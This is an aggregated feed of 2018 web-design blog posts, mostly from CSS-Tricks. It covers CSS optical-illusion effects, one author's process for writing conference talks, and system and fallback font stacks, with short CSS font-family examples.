  • For the mobile history buffs among us: a long look back at the fall of Nokia during the tenure of Stephen Elop, drawn mainly from Finnish inside sources.
  • Have a tip for the next Linkbait? Or a comment on this one? Let me know (or here or here).

Information On Different Types Of People For Graphic Communication, Website And Information Designers

Usability Geek - Mon, 02/19/2018 - 10:43am
You are not the only one using your designs. Every day we use graphic communication design from reading letters which have come through the post, or the newspaper in the morning, to reading and using...
Categories: Web Standards

The Red Reveal: Illusions on the Web

Css Tricks - Mon, 02/19/2018 - 10:24am

In part one of a series of posts about optical illusions on the web, Dan Wilson looks at how to create the “Red Reveal” that he happens to describe like this:

Growing up, my family played a lot of board games. Several games such as Outburst, Password, and Clue Jr. included something that amazed me at the time — a red lens and cards with some light blue text that was obscured by a myriad of red lines. When you put the red lens over the card, the text would magically appear.

Here’s one example of that effect from a nifty Pen:

I’d also recommend reading part two in this series, Barrier Grid Animation, which uses a bunch of CSS techniques to trick your eye into seeing an animation of several static images.

Direct Link to ArticlePermalink

The Red Reveal: Illusions on the Web is a post from CSS-Tricks

My Talk Writing Process

Css Tricks - Mon, 02/19/2018 - 4:11am

Some people have a talk preparation process that is super organized and runs like a well-oiled machine. Mine, on the other hand, is a bit messy, but it works for me. Even when a talk looks polished and put together on stage, it doesn’t mean the process to get it there was that way too.

Me on stage at An Event Apart.

When putting together a new talk recently, I noticed there was most definitely a pattern to how my talks take shape. Here’s how the talk-making process goes for me:

The Research Phase

True to the nature of research, all my talks start by collecting articles, books, videos, and other things that relate to the topic of the talk. At this point in the talk development process, I usually only have a general topic idea instead of a fully fleshed out point-of-view or main message. That means I end up collecting things that might only be tangentially related to the topic and going down some strange topical rabbit holes.

I'll save all these as a collection of bookmarks but usually also in a Google Doc with notes or quotes from the piece that seem most relevant. That makes it easier to keep a high-level view of what I've collected, and even discover interesting threads that connect some of the seemingly unrelated sources.

This initial phase is intentionally fuzzy on focus. Only a small percentage of the research I collect actually makes it to the end talk content. Sometimes the things that don't make it spark ideas for other talks, or just gets filed away in my brain for future (hopefully interesting) things.

Outlining: The Giant Mess Phase

There's probably a smarter sounding name for this phase, but for every talk I've done, there's always a point where I step back and think, "Holy crap this is all a giant mess! What am I even doing with all this!?" So, that's what I'll call this phase. This is the phase where I make a general outline for the talk (again in a Google Doc or Word file) and start fitting my thoughts, examples or demos, and relevant research into it.

I outline the major points I think the talk should make and try to fit them into some sort of narrative order. These tend to change and morph a bit as the talk takes shape, but that's OK because I'm still in the giant mess phase.

At the top of my document I have a three-part block that helps keep me focused:

What is the main question this talk answers (or the main problem it addresses)?

What is the main message of this talk?

Three points that support the main message:

(I started doing this on advice from Bill Smartt, and it’s been a huge help ever since.)

A talk outline for a 30 min talk complete with comments to myself.

The rest of the document addresses the body of the talk with each main point as a headline and some notes underneath it. Personally, I don't write out talks word-for-word and memorize them. I do write out an introduction and conclusion to make sure I'm setting up the topic and summarizing it well, but the rest of the notes are bulleted lists of points to make and references supporting examples, demos, or references. I leave space at the bottom of the document for random thoughts and notes as well as probably a few too many comments to myself on possible changes to make or different directions to take. Points that don't fit into the main narrative get moved down to this section too.

Once I feel like I have a cohesive outline, or at least one that isn't a total mess, I move on to making some visuals.

The Editing Phase A recent talk with all the edited-out slides shown ghosted out. Those slides never made it to the final talk.

This is the point where I start making slides and such based on the outline. Some people leave slides to the very last thing, but I leave them more to the almost last thing and do some of my thinking and organizing while I build up the slide deck.

I'll make slides for each point in the outline, take screen recordings of demos or examples, and start piecing things together in order. I tend to think of my talks in sections at this point and, as I create the slides for each section, I'll try talking through them out loud to see how they flow. (It’s amazing how different things sound when you say them out loud!)

There is a lot of rearranging and cutting out during this phase to work towards something that feels cohesive. I keep working on adding, deleting, and rearranging slides until I've got visuals for the full narrative of my outline. Sometimes things fall into place quickly, but for most talks this part can take a while.

At this point I almost always have far too much content. I'll run through what I have for the talk in 10 to 15 minute chunks, editing down and solidifying points until I've got something that fits neatly into the required time length. Most times this means a 30 minutes and 45-60 minute version of the talk depending on the format of the event where it's being given.

The same talk without the slides that have been edited out. Rehearsing: The Talking to Myself Phase

Rehearsing is so important but it can also be very awkward. It seems like everyone has a different strategy for rehearsing talks, which totally makes sense. I have a really hard time rehearsing talks in their entirety when I'm standing in my office talking to the wall or to the dog, so I tend to rehearse in 15 or 30 minute chunks; practicing the first half then taking a break to do some other things and coming back to run through the second half. That way I know I have a handle on all the material, but haven’t driven myself (or the dog) up a wall with all that talking to no one in particular.

Ah, that familiar presenter notes view. I like a giant notes window even though I rarely actually read them while I’m on stage. They're a "just in case" kind of thing.

As often as possible I'll try to give a new talk to a few friends or at a meetup before doing it on stage for the first time. Having a real live human audience can really help show which points are strong and which might need a bit more work to get across well. I also always run through the "final" talk from start-to-finish at least once in the 24 hours before I’ll be on stage to make sure all the content is fresh in my mind.

A Talk is Never Really Done

Seriously. They really never are. The funny thing about talks is that when you give them more than once, they're rarely exactly the same. (Yes, it is totally fine to do the same talk more than once.) There is always something to improve, something to add, or new points or examples to add to the narrative.

I usually make notes for myself on what worked or what didn't right after getting off stage. That’s a good time to recall which parts of the talk felt like they could use some work, but it’s not such a good time to actually make any edits. I'll go back to those notes a few days later (having some space here is really helpful) and make adjustments as needed. Also, if I come across other relevant examples or research at any point in time, I'll try to add them into the talk for the next time around.

You Do You

If there’s one thing I’ve learned working on talks and talking to other speakers about their process, it’s that no two people work the same way. Everyone has their own way of putting together talks that they’ve customized for their own habits and preferences. If your talk development process looks nothing like mine, that’s totally fine. And if you haven’t found a process that works for you yet, keep experimenting with different techniques. You’ll find one that works for you!

For more on how to get a talk together, check out these other articles too:

My Talk Writing Process is a post from CSS-Tricks

Shipping system fonts to GitHub.com

Css Tricks - Fri, 02/16/2018 - 9:46am

System font stacks got hot about a year ago, no doubt influenced by Mark Otto's work putting them live on GitHub.

The why, to me, feels like (1) yay performance and (2) the site looks like the rest of the operating system. But to Mark:

Helvetica was created in 1957 when the personal computer was a pipe dream. Arial was created in 1982 and is available on 95% of computers across the web. Millions, if not billions, of web pages currently use this severely dated font stack to serve much younger content to much younger browsers and devices.

As display quality improves, so too must our use of those displays. System fonts like Apple’s San Francisco and Microsoft’s Segoe aim to do just that, taking advantage of retina screens, dynamic kerning, additional font-weights, and improved readability. If operating systems can take advantage of these changes, so too can our CSS.

I also like the team’s idea of adding emoji fonts at the end of the font declaration so that you have the best support possible for those too:

p { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Fira Sans", "Droid Sans", "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; }

Direct Link to ArticlePermalink

Shipping system fonts to GitHub.com is a post from CSS-Tricks

CSS Basics: Fallback Font Stacks for More Robust Web Typography

Css Tricks - Fri, 02/16/2018 - 5:05am

In CSS, you might see a ruleset like this:

html { font-family: Lato, "Lucida Grande", Tahoma, Sans-Serif; }

What the heck, right? Why don't I just tell it what font I want to use and that's that? The whole idea here is fallbacks. The browser will try to use the font you specified first (Lato, in this case), but if it doesn't have that font available, it will keep going down that list. So to be really verbose here, what that rule is saying is:

  1. I'd like to use the Lato font here, please.
  2. If you don't have that, try "Lucida Grande" next.
  3. If you don't have that, try Tahoma.
  4. All else fails, use whatever you've got for the generic keyword Sans-Serif

So in what situation would a browser not have the font you're asking for? That's pretty common. There are only a handful of fonts that are considered "web safe"—meaning that it's likely most computers visiting your site have that font installed and so the browser can use it. Think: Arial, Times New Roman, Courier, Georgia, Verdana, and a handful of others.

But most websites, these days, use custom web fonts. They load up a font as a resource (just as a website loads CSS itself as a resource, or an image, or JavaScript), then that font is available to use. The widely popular Google Fonts makes that pretty clear:

Load this font first, then you can use it in CSS.

Even when you load a font in this way, it's still possible that the font doesn't load. While Google is a generally very reliable host, you don't control their servers; they do. Even more commonly, poor network connections may prevent a font from loading. In any font loading failure scenario, that's another situation where a fallback font stack comes in handy.

Say I'm using the custom font Merriweather, and I set up my font stack like this:

html { font-family: Merriweather, Impact, Serif; }

If Merriweather fails to load (or does load, but loads in such a way that it pops into place after it does—also known as FOUT), we'd see something like this:

A fallback font, in this case Impact, is seen. It's incredibly awkward and doesn't match the desired look at all.

Better to have your font fall back to something close to your top choice than to something totally unrelated! There is a fantastic tool by Monica Dinculescu call Font style matcher where you can play with fallbacks (that's how I made that GIF above).

In the example above, we can see that Georgia is a much nicer fallback font than Impact is! The example is a little bit more fancy than just changing the font though. A couple of other settings were changed to make them match as closely as they are. To take advantage of that, you're in font loading territory, which gets a bit complex. Your best bet there is consulting Zach Leatherman's A Comprehensive Guide to Font Loading. In any case, picking a nice fallback font alone is worth doing.

Individual Characters

An interesting note about fallback fonts is that it's not all-or-nothing. Individual characters in a font can fall down the stack if the specified font doesn't have that character available.

As an extreme example, I'll load the custom font Source Code Pro from Google Fonts but I'll force it to only contain a handful of letters.

You can see in the first sentence how the fallback fonts took over and the end result wasn't disastrous (like the second sentence) even though the custom font didn't have some of the characters available. This will be more likely to happen with things like uncommon ASCII characters or even accented characters like ü, ?, or ñ.

As some side fun, here's using that character fallback ability of CSS to do something unique:

See the Pen Ransom Note With Google Font Subsets by Heydon (@heydon) on CodePen.

More Reading

CSS Basics: Fallback Font Stacks for More Robust Web Typography is a post from CSS-Tricks

Syndicate content
©2003 - Present Akamai Design & Development.